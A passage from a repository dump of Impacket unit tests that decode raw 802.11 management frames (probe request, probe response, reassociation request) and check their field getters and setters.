0x01)\n\n    def test_08(self):\n        'Test Sequence number field'\n        self.assertEqual(self.management_base.get_sequence_number(), 2343)\n        self.management_base.set_sequence_number(0xF234) # Es de 12 bit\n        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)\n        \n    def test_09(self):\n        'Test Management Frame Data field'\n        frame_body=b\"\\x08\\x00\"\n        self.assertEqual(self.management_base.get_frame_body(), frame_body)\n\n    def test_10(self):\n        'Test Management Reason Code field' \n        self.assertEqual(self.management_disassociation.get_reason_code(), 0x0008)\n        self.management_disassociation.set_reason_code(0x8765)\n        self.assertEqual(self.management_disassociation.get_reason_code(), 0x8765)\n        \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameManagementProbeRequest.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom impacket.dot11 import Dot11Types\nfrom impacket.ImpactDecoder import RadioTapDecoder\n\n\nclass TestDot11ManagementProbeRequestFrames(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Management Frame \n        #\n        self.rawProbeRequestframe=b'\\x00\\x00\\x18\\x00\\x2e\\x48\\x00\\x00\\x00\\x02\\x85\\x09\\xa0\\x00\\xda\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x23\\x4d\\x13\\xf9\\x1b\\xff\\xff\\xff\\xff\\xff\\xff\\x90\\x45\\x00\\x05\\x64\\x6c\\x69\\x6e\\x6b\\x01\\x08\\x02\\x04\\x0b\\x16\\x0c\\x12\\x18\\x24\\x32\\x04\\x30\\x48\\x60\\x6c'\n        self.radiotap_decoder = RadioTapDecoder()\n        radiotap=self.radiotap_decoder.decode(self.rawProbeRequestframe)\n\n        if PY2:\n            self.assertEqual(str(radiotap.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(radiotap.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n                \n        self.dot11=radiotap.child()\n        if PY2:\n            self.assertEqual(str(self.dot11.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.dot11.__class__), \"<class 'impacket.dot11.Dot11'>\")\n\n        type = self.dot11.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)\n        \n        subtype = self.dot11.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST)\n        \n        typesubtype = self.dot11.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_REQUEST)\n        \n        self.management_base=self.dot11.child()\n        if PY2:\n            self.assertEqual(str(self.management_base.__class__), \"impacket.dot11.Dot11ManagementFrame\")\n        else:\n            self.assertEqual(str(self.management_base.__class__), \"<class 'impacket.dot11.Dot11ManagementFrame'>\")\n        \n        self.management_probe_request=self.management_base.child()\n        if PY2:\n            self.assertEqual(str(self.management_probe_request.__class__), \"impacket.dot11.Dot11ManagementProbeRequest\")\n        else:\n            self.assertEqual(str(self.management_probe_request.__class__), \"<class 'impacket.dot11.Dot11ManagementProbeRequest'>\")\n            \n        \n    def test_01(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.management_base.get_header_size(), 22)\n        self.assertEqual(self.management_base.get_tail_size(), 0)\n        self.assertEqual(self.management_probe_request.get_header_size(), 23)\n        self.assertEqual(self.management_probe_request.get_tail_size(), 0)\n        \n    def test_02(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.management_base.get_duration(), 0x0000)\n        self.management_base.set_duration(0x1234)\n        self.assertEqual(self.management_base.get_duration(), 0x1234)\n    \n    def test_03(self):\n        'Test Destination Address field'\n        \n        addr=self.management_base.get_destination_address()\n        \n        self.assertEqual(addr.tolist(), [0xFF,0xFF,0xFF,0xFF,0xFF,0xFF])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_destination_address(addr)\n        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0xFF,0xFF,0xFF,0xFF,0x34])\n\n    def test_04(self):\n        'Test Source Address field'\n        \n        addr=self.management_base.get_source_address()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x23,0x4d,0x13,0xf9,0x1b])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_source_address(addr)\n        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x23,0x4d,0x13,0xf9,0x34])\n\n    def test_05(self):\n        'Test BSSID Address field'\n        \n        addr=self.management_base.get_bssid()\n        \n        self.assertEqual(addr.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_bssid(addr)\n        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34])\n\n    def test_06(self):\n        'Test Sequence control field'\n        self.assertEqual(self.management_base.get_sequence_control(), 0x4590)\n        self.management_base.set_sequence_control(0x1234)\n        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)\n\n    def test_07(self):\n        'Test Fragment number field'\n        self.assertEqual(self.management_base.get_fragment_number(), 0x00)\n        self.management_base.set_fragment_number(0xF1) # Es de 4 bit\n        self.assertEqual(self.management_base.get_fragment_number(), 0x01)\n\n    def test_08(self):\n        'Test Sequence number field'\n        self.assertEqual(self.management_base.get_sequence_number(), 1113)\n        self.management_base.set_sequence_number(0xF234) # Es de 12 bit\n        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)\n        \n    def test_09(self):\n        'Test Management Frame Data field'\n        frame_body=b\"\\x00\\x05\\x64\\x6c\\x69\\x6e\\x6b\\x01\\x08\\x02\\x04\\x0b\\x16\\x0c\\x12\\x18\\x24\\x32\\x04\\x30\\x48\\x60\\x6c\"\n        self.assertEqual(self.management_base.get_frame_body(), frame_body)\n\n    def test_10(self):\n        'Test Management ssid getter/setter methods'\n        act_ssid=b\"dlink\"\n        new_ssid=b\"holala\"\n        self.assertEqual(self.management_probe_request.get_ssid(), act_ssid)\n        self.management_probe_request.set_ssid(new_ssid)\n        self.assertEqual(self.management_probe_request.get_ssid(), new_ssid)\n        self.assertEqual(self.management_probe_request.get_header_size(), 23+len(new_ssid)-len(act_ssid))\n\n    def test_11(self):\n        'Test Management supported_rates getter/setter methods'\n        self.assertEqual(self.management_probe_request.get_supported_rates(), (0x02,0x04,0x0b,0x16,0x0c,0x12,0x18,0x24) )\n        self.assertEqual(self.management_probe_request.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 6.0, 9.0, 12.0, 18.0) )\n        self.management_probe_request.set_supported_rates((0x04,0x0b,0x16,0x0c,0x12,0x18))\n        self.assertEqual(self.management_probe_request.get_supported_rates(), (0x04,0x0b,0x16,0x0c,0x12,0x18))\n        self.assertEqual(self.management_probe_request.get_supported_rates(human_readable=True), (2.0, 5.5, 11.0, 6.0, 9.0, 12.0) )\n        self.assertEqual(self.management_probe_request.get_header_size(), 23-2)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameManagementProbeResponse.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom impacket.dot11 import Dot11Types\nfrom impacket.ImpactDecoder import RadioTapDecoder\n\n\nclass TestDot11ManagementProbeResponseFrames(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Management Frame \n        #\n        self.rawProbeResponseframe=b'\\x00\\x00\\x18\\x00\\x2e\\x48\\x00\\x00\\x00\\x02\\x85\\x09\\xa0\\x00\\xb0\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x00\\x3a\\x01\\x00\\x21\\xfe\\x39\\x3f\\x77\\x00\\x1b\\x11\\x32\\x66\\x23\\x00\\x1b\\x11\\x32\\x66\\x23\\x20\\x73\\x7f\\xa0\\x22\\xf8\\x3f\\x01\\x00\\x00\\x64\\x00\\x11\\x04\\x00\\x07\\x66\\x72\\x65\\x65\\x62\\x73\\x64\\x01\\x08\\x82\\x84\\x8b\\x96\\x24\\x30\\x48\\x6c\\x03\\x01\\x06\\x2a\\x01\\x04\\x2f\\x01\\x04\\x32\\x04\\x0c\\x12\\x18\\x60\\xdd\\x75\\x00\\x50\\xf2\\x04\\x10\\x4a\\x00\\x01\\x10\\x10\\x44\\x00\\x01\\x02\\x10\\x41\\x00\\x01\\x00\\x10\\x3b\\x00\\x01\\x03\\x10\\x47\\x00\\x10\\x11\\x4e\\xf7\\x46\\xa9\\xc6\\xfb\\x1d\\x70\\x1b\\x00\\x1b\\x11\\x32\\x66\\x23\\x10\\x21\\x00\\x06\\x44\\x2d\\x4c\\x69\\x6e\\x6b\\x10\\x23\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x24\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x42\\x00\\x08\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x10\\x54\\x00\\x08\\x00\\x06\\x00\\x50\\xf2\\x04\\x00\\x01\\x10\\x11\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x08\\x00\\x02\\x00\\x8e\\xdd\\x05\\x00\\x50\\xf2\\x05\\x00\\xdd\\x09\\x00\\x10\\x18\\x02\\x01\\xf0\\x00\\x00\\x00\\xdd\\x18\\x00\\x50\\xf2\\x01\\x01\\x00\\x00\\x50\\xf2\\x02\\x01\\x00\\x00\\x50\\xf2\\x02\\x01\\x00\\x00\\x50\\xf2\\x02\\x00\\x00'\n        self.radiotap_decoder = RadioTapDecoder()\n        radiotap=self.radiotap_decoder.decode(self.rawProbeResponseframe)\n\n        if PY2:\n            self.assertEqual(str(radiotap.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(radiotap.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n\n        self.dot11=radiotap.child()\n        if PY2:\n            self.assertEqual(str(self.dot11.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.dot11.__class__), \"<class 'impacket.dot11.Dot11'>\")\n\n        type = self.dot11.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)\n        \n        subtype = self.dot11.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE)\n        \n        typesubtype = self.dot11.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_RESPONSE)\n        \n        self.management_base=self.dot11.child()\n        if PY2:\n            self.assertEqual(str(self.management_base.__class__), \"impacket.dot11.Dot11ManagementFrame\")\n        else:\n            self.assertEqual(str(self.management_base.__class__), \"<class 'impacket.dot11.Dot11ManagementFrame'>\")\n        \n        self.management_probe_response=self.management_base.child()\n        if PY2:\n            self.assertEqual(str(self.management_probe_response.__class__), \"impacket.dot11.Dot11ManagementProbeResponse\")\n        else:\n            self.assertEqual(str(self.management_probe_response.__class__), \"<class 'impacket.dot11.Dot11ManagementProbeResponse'>\")\n            \n        \n    def test_01(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.management_base.get_header_size(), 22)\n        self.assertEqual(self.management_base.get_tail_size(), 0)\n        self.assertEqual(self.management_probe_response.get_header_size(), 209)\n        self.assertEqual(self.management_probe_response.get_tail_size(), 0)\n        \n    def test_02(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.management_base.get_duration(), 0x013a)\n        self.management_base.set_duration(0x1234)\n        self.assertEqual(self.management_base.get_duration(), 0x1234)\n    \n    def test_03(self):\n        'Test Destination Address field'\n        \n        addr=self.management_base.get_destination_address()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x21,0xFE,0x39,0x3F,0x77])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_destination_address(addr)\n        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x21,0xFE,0x39,0x3F,0x34])\n\n    def test_04(self):\n        'Test Source Address field'\n        \n        addr=self.management_base.get_source_address()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x1B,0x11,0x32,0x66,0x23])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_source_address(addr)\n        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1B,0x11,0x32,0x66,0x34])\n\n    def test_05(self):\n        'Test BSSID Address field'\n        \n        addr=self.management_base.get_bssid()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x1B,0x11,0x32,0x66,0x23])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_bssid(addr)\n        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x1B,0x11,0x32,0x66,0x34])\n\n    def test_06(self):\n        'Test Sequence control field'\n        self.assertEqual(self.management_base.get_sequence_control(), 0x7320)\n        self.management_base.set_sequence_control(0x1234)\n        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)\n\n    def test_07(self):\n        'Test Fragment number field'\n        self.assertEqual(self.management_base.get_fragment_number(), 0x00)\n        self.management_base.set_fragment_number(0xF1) # It's 4 bits long\n        self.assertEqual(self.management_base.get_fragment_number(), 0x01)\n\n    def test_08(self):\n        'Test Sequence number field'\n        self.assertEqual(self.management_base.get_sequence_number(), 1842)\n        self.management_base.set_sequence_number(0xF234) # It's 12 bits long\n        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)\n        \n    def test_09(self):\n        'Test Management Frame Data field'\n        frame_body=b\"\\x7f\\xa0\\x22\\xf8\\x3f\\x01\\x00\\x00\\x64\\x00\\x11\\x04\\x00\\x07\\x66\\x72\\x65\\x65\\x62\\x73\\x64\\x01\\x08\\x82\\x84\\x8b\\x96\\x24\\x30\\x48\\x6c\\x03\\x01\\x06\\x2a\\x01\\x04\\x2f\\x01\\x04\\x32\\x04\\x0c\\x12\\x18\\x60\\xdd\\x75\\x00\\x50\\xf2\\x04\\x10\\x4a\\x00\\x01\\x10\\x10\\x44\\x00\\x01\\x02\\x10\\x41\\x00\\x01\\x00\\x10\\x3b\\x00\\x01\\x03\\x10\\x47\\x00\\x10\\x11\\x4e\\xf7\\x46\\xa9\\xc6\\xfb\\x1d\\x70\\x1b\\x00\\x1b\\x11\\x32\\x66\\x23\\x10\\x21\\x00\\x06\\x44\\x2d\\x4c\\x69\\x6e\\x6b\\x10\\x23\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x24\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x42\\x00\\x08\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x10\\x54\\x00\\x08\\x00\\x06\\x00\\x50\\xf2\\x04\\x00\\x01\\x10\\x11\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x08\\x00\\x02\\x00\\x8e\\xdd\\x05\\x00\\x50\\xf2\\x05\\x00\\xdd\\x09\\x00\\x10\\x18\\x02\\x01\\xf0\\x00\\x00\\x00\\xdd\\x18\\x00\\x50\\xf2\\x01\\x01\\x00\\x00\\x50\\xf2\\x02\\x01\\x00\\x00\\x50\\xf2\\x02\\x01\\x00\\x00\\x50\\xf2\\x02\\x00\\x00\"\n        self.assertEqual(self.management_base.get_frame_body(), frame_body)\n\n    def test_10(self):\n        'Test Management Beacon Timestamp field' \n        self.assertEqual(self.management_probe_response.get_timestamp(), 0x0000013FF822A07F)\n        self.management_probe_response.set_timestamp(0x8765432101234567) \n        self.assertEqual(self.management_probe_response.get_timestamp(), 0x8765432101234567)\n\n    def test_11(self):\n        'Test Management Beacon Interval field' \n        self.assertEqual(self.management_probe_response.get_beacon_interval(), 0x0064)\n        self.management_probe_response.set_beacon_interval(0x4321) \n        self.assertEqual(self.management_probe_response.get_beacon_interval(), 0x4321)\n\n    def test_12(self):\n        'Test Management Beacon Capabilities field' \n        self.assertEqual(self.management_probe_response.get_capabilities(), 0x0411)\n        self.management_probe_response.set_capabilities(0x4321) \n        self.assertEqual(self.management_probe_response.get_capabilities(), 0x4321)\n\n    def test_13(self):\n        'Test Management ssid getter/setter methods'\n        act_ssid=b\"freebsd\"\n        new_ssid=b\"holala\"\n        self.assertEqual(self.management_probe_response.get_ssid(), act_ssid)\n        self.management_probe_response.set_ssid(new_ssid)\n        self.assertEqual(self.management_probe_response.get_ssid(), new_ssid)\n        self.assertEqual(self.management_probe_response.get_header_size(), 209-1)\n\n    def test_14(self):\n        'Test Management supported_rates getter/setter methods'\n        self.assertEqual(self.management_probe_response.get_supported_rates(), (0x82,0x84,0x8b,0x96,0x24,0x30,0x48,0x6c) )\n        self.assertEqual(self.management_probe_response.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0 ) )\n        \n        self.management_probe_response.set_supported_rates((0x84,0x8b,0x96,0x24,0x30,0x48))\n\n        self.assertEqual(self.management_probe_response.get_supported_rates(), (0x84,0x8b,0x96,0x24,0x30,0x48) )\n        self.assertEqual(self.management_probe_response.get_supported_rates(human_readable=True), ( 2.0, 5.5, 11.0, 18.0, 24.0, 36.0 ) )\n        self.assertEqual(self.management_probe_response.get_header_size(), 209-2)\n\n    def test_15(self):\n        'Test Management DS Parameter Set getter/setter methods'\n        self.assertEqual(self.management_probe_response.get_ds_parameter_set(), 6 )\n        \n        self.management_probe_response.set_ds_parameter_set(40)\n\n        self.assertEqual(self.management_probe_response.get_ds_parameter_set(), 40 )\n        self.assertEqual(self.management_probe_response.get_header_size(), 209)\n\n    def test_16(self):\n        'Test Management Vendor Specific getter/setter methods'\n        self.assertEqual(self.management_probe_response.get_vendor_specific(), \n            [(b\"\\x00\\x50\\xf2\", b\"\\x04\\x10\\x4a\\x00\\x01\\x10\\x10\\x44\\x00\\x01\\x02\\x10\\x41\\x00\\x01\\x00\\x10\\x3b\\x00\\x01\\x03\\x10\\x47\\x00\\x10\\x11\\x4e\\xf7\\x46\\xa9\\xc6\\xfb\\x1d\\x70\\x1b\\x00\\x1b\\x11\\x32\\x66\\x23\\x10\\x21\\x00\\x06\\x44\\x2d\\x4c\\x69\\x6e\\x6b\\x10\\x23\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x24\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x42\\x00\\x08\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x10\\x54\\x00\\x08\\x00\\x06\\x00\\x50\\xf2\\x04\\x00\\x01\\x10\\x11\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x08\\x00\\x02\\x00\\x8e\"),\n             (b\"\\x00\\x50\\xf2\", b\"\\x05\\x00\"),\n             (b\"\\x00\\x10\\x18\",b\"\\x02\\x01\\xf0\\x00\\x00\\x00\"),\n             (b\"\\x00\\x50\\xf2\",b\"\\x01\\x01\\x00\\x00\\x50\\xf2\\x02\\x01\\x00\\x00\\x50\\xf2\\x02\\x01\\x00\\x00\\x50\\xf2\\x02\\x00\\x00\"),\n            ])\n        \n        self.management_probe_response.add_vendor_specific(b\"\\x00\\x00\\x40\",b\"\\x04\\x04\\x04\\x04\\x04\\x04\")\n\n        self.assertEqual(self.management_probe_response.get_vendor_specific(), \n            [(b\"\\x00\\x50\\xf2\",b\"\\x04\\x10\\x4a\\x00\\x01\\x10\\x10\\x44\\x00\\x01\\x02\\x10\\x41\\x00\\x01\\x00\\x10\\x3b\\x00\\x01\\x03\\x10\\x47\\x00\\x10\\x11\\x4e\\xf7\\x46\\xa9\\xc6\\xfb\\x1d\\x70\\x1b\\x00\\x1b\\x11\\x32\\x66\\x23\\x10\\x21\\x00\\x06\\x44\\x2d\\x4c\\x69\\x6e\\x6b\\x10\\x23\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x24\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x42\\x00\\x08\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x10\\x54\\x00\\x08\\x00\\x06\\x00\\x50\\xf2\\x04\\x00\\x01\\x10\\x11\\x00\\x07\\x44\\x49\\x52\\x2d\\x33\\x32\\x30\\x10\\x08\\x00\\x02\\x00\\x8e\"),\n             (b\"\\x00\\x50\\xf2\",b\"\\x05\\x00\"),\n             (b\"\\x00\\x10\\x18\",b\"\\x02\\x01\\xf0\\x00\\x00\\x00\"),\n             (b\"\\x00\\x50\\xf2\",b\"\\x01\\x01\\x00\\x00\\x50\\xf2\\x02\\x01\\x00\\x00\\x50\\xf2\\x02\\x01\\x00\\x00\\x50\\xf2\\x02\\x00\\x00\"),\n             (b\"\\x00\\x00\\x40\",b\"\\x04\\x04\\x04\\x04\\x04\\x04\"),\n            ])\n        self.assertEqual(self.management_probe_response.get_header_size(), 209+6+3+2)\n        \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameManagementReassociationRequest.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom impacket.dot11 import Dot11Types\nfrom impacket.ImpactDecoder import RadioTapDecoder\n\n\nclass TestDot11ManagementReassociationRequestFrames(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Management Frame \n        #\n        self.rawframe=b\"\\x00\\x00\\x1c\\x00\\xef\\x18\\x00\\x00\\x9aK\\x87\\xae;\\x00\\x00\\x00\\x10\\x02\\x85\\t\\xa0\\x00\\xb5\\x9d`\\x00\\x00\\x18 \\x00:\\x01\\x00\\x18\\xf8lvBp\\x1a\\x04T\\xe3\\x86\\x00\\x18\\xf8lvB\\x00\\x081\\x04\\n\\x00\\x00\\x18\\xf8lvB\\x00\\x05ddwrt\\x01\\x08\\x82\\x84\\x8b\\x96$0Hl!\\x02\\n\\x11$\\x02\\x01\\x0e0\\x14\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x08\\x002\\x04\\x0c\\x12\\x18`\\xdd\\t\\x00\\x10\\x18\\x02\\x00\\x10\\x00\\x00\\x00p\\x97\\x1cA\"\n        self.radiotap_decoder = RadioTapDecoder()\n        radiotap=self.radiotap_decoder.decode(self.rawframe)\n\n        if PY2:\n            self.assertEqual(str(radiotap.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(radiotap.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n\n        self.dot11=radiotap.child()\n        if PY2:\n            self.assertEqual(str(self.dot11.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.dot11.__class__), \"<class 'impacket.dot11.Dot11'>\")\n\n        type = self.dot11.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)\n        \n        subtype = self.dot11.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST)\n        \n        typesubtype = self.dot11.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_REQUEST)\n        \n        self.management_base=self.dot11.child()\n        if PY2:\n            self.assertEqual(str(self.management_base.__class__), \"impacket.dot11.Dot11ManagementFrame\")\n        else:\n            self.assertEqual(str(self.management_base.__class__), \"<class 'impacket.dot11.Dot11ManagementFrame'>\")\n        \n        self.management_reassociation_request=self.management_base.child()\n        if PY2:\n            self.assertEqual(str(self.management_reassociation_request.__class__), \"impacket.dot11.Dot11ManagementReassociationRequest\")\n        else:\n            self.assertEqual(str(self.management_reassociation_request.__class__), \"<class 'impacket.dot11.Dot11ManagementReassociationRequest'>\")\n            \n        \n    def test_01(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.management_base.get_header_size(), 22)\n        self.assertEqual(self.management_base.get_tail_size(), 0)\n        self.assertEqual(self.management_reassociation_request.get_header_size(), 74)\n        self.assertEqual(self.management_reassociation_request.get_tail_size(), 0)\n        \n    def test_02(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.management_base.get_duration(), 0x013a)\n        self.management_base.set_duration(0x1234)\n        self.assertEqual(self.management_base.get_duration(), 0x1234)\n    \n    def test_03(self):\n        'Test Destination Address field'\n        \n        addr=self.management_base.get_destination_address()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_destination_address(addr)\n        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_04(self):\n        'Test Source Address field'\n        \n        addr=self.management_base.get_source_address()\n        \n        self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_source_address(addr)\n        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])\n\n    def test_05(self):\n        'Test BSSID Address field'\n        \n        addr=self.management_base.get_bssid()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_bssid(addr)\n        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_06(self):\n        'Test Sequence control field'\n        self.assertEqual(self.management_base.get_sequence_control(), 0x0800)\n        self.management_base.set_sequence_control(0x1234)\n        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)\n\n    def test_07(self):\n        'Test Fragment number field'\n        self.assertEqual(self.management_base.get_fragment_number(), 0x00)\n        self.management_base.set_fragment_number(0xF1) # Es de 4 bit\n        self.assertEqual(self.management_base.get_fragment_number(), 0x01)\n\n    def test_08(self):\n        'Test Sequence number field'\n        self.assertEqual(self.management_base.get_sequence_number(), 128)\n        self.management_base.set_sequence_number(0xF234) # Es de 12 bit\n        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)\n        \n    def test_09(self):\n        'Test Management Frame Data field'\n        frame_body=b\"1\\x04\\n\\x00\\x00\\x18\\xf8lvB\\x00\\x05ddwrt\\x01\\x08\\x82\\x84\\x8b\\x96$0Hl!\\x02\\n\\x11$\\x02\\x01\\x0e0\\x14\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x08\\x002\\x04\\x0c\\x12\\x18`\\xdd\\t\\x00\\x10\\x18\\x02\\x00\\x10\\x00\\x00\\x00\"\n        self.assertEqual(self.management_base.get_frame_body(), frame_body)\n\n    def test_10(self):\n        'Test Management Reassociation Request Capabilities field'\n        self.assertEqual(self.management_reassociation_request.get_capabilities(), 0x0431)\n        self.management_reassociation_request.set_capabilities(0x4321) \n        self.assertEqual(self.management_reassociation_request.get_capabilities(), 0x4321)\n\n    def test_11(self):\n        'Test Management Reassociation Request Listen Interval field'\n        self.assertEqual(self.management_reassociation_request.get_listen_interval(), 0x000a)\n        self.management_reassociation_request.set_listen_interval(0x4321) \n        self.assertEqual(self.management_reassociation_request.get_listen_interval(), 0x4321)\n\n    def test_12(self):\n        'Test Management Reassociation Request Current AP field'\n        addr = self.management_reassociation_request.get_current_ap()\n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_reassociation_request.set_current_ap(addr)\n        self.assertEqual(self.management_reassociation_request.get_current_ap().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_13(self):\n        'Test Management Reassociation Request Ssid getter/setter methods'\n        act_ssid=b\"ddwrt\"\n        new_ssid=b\"holala\"\n        self.assertEqual(self.management_reassociation_request.get_ssid(), act_ssid)\n        self.management_reassociation_request.set_ssid(new_ssid)\n        self.assertEqual(self.management_reassociation_request.get_ssid(), new_ssid)\n        self.assertEqual(self.management_reassociation_request.get_header_size(), 74+1)\n\n    def test_14(self):\n        'Test Management Ressociation Request Supported_rates getter/setter methods'\n        self.assertEqual(self.management_reassociation_request.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))\n        self.assertEqual(self.management_reassociation_request.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))\n        \n        self.management_reassociation_request.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))\n\n        self.assertEqual(self.management_reassociation_request.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))\n        self.assertEqual(self.management_reassociation_request.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))\n        self.assertEqual(self.management_reassociation_request.get_header_size(), 74-2)\n\n    def test_15(self):\n        'Test Management Association Request RSN getter/setter 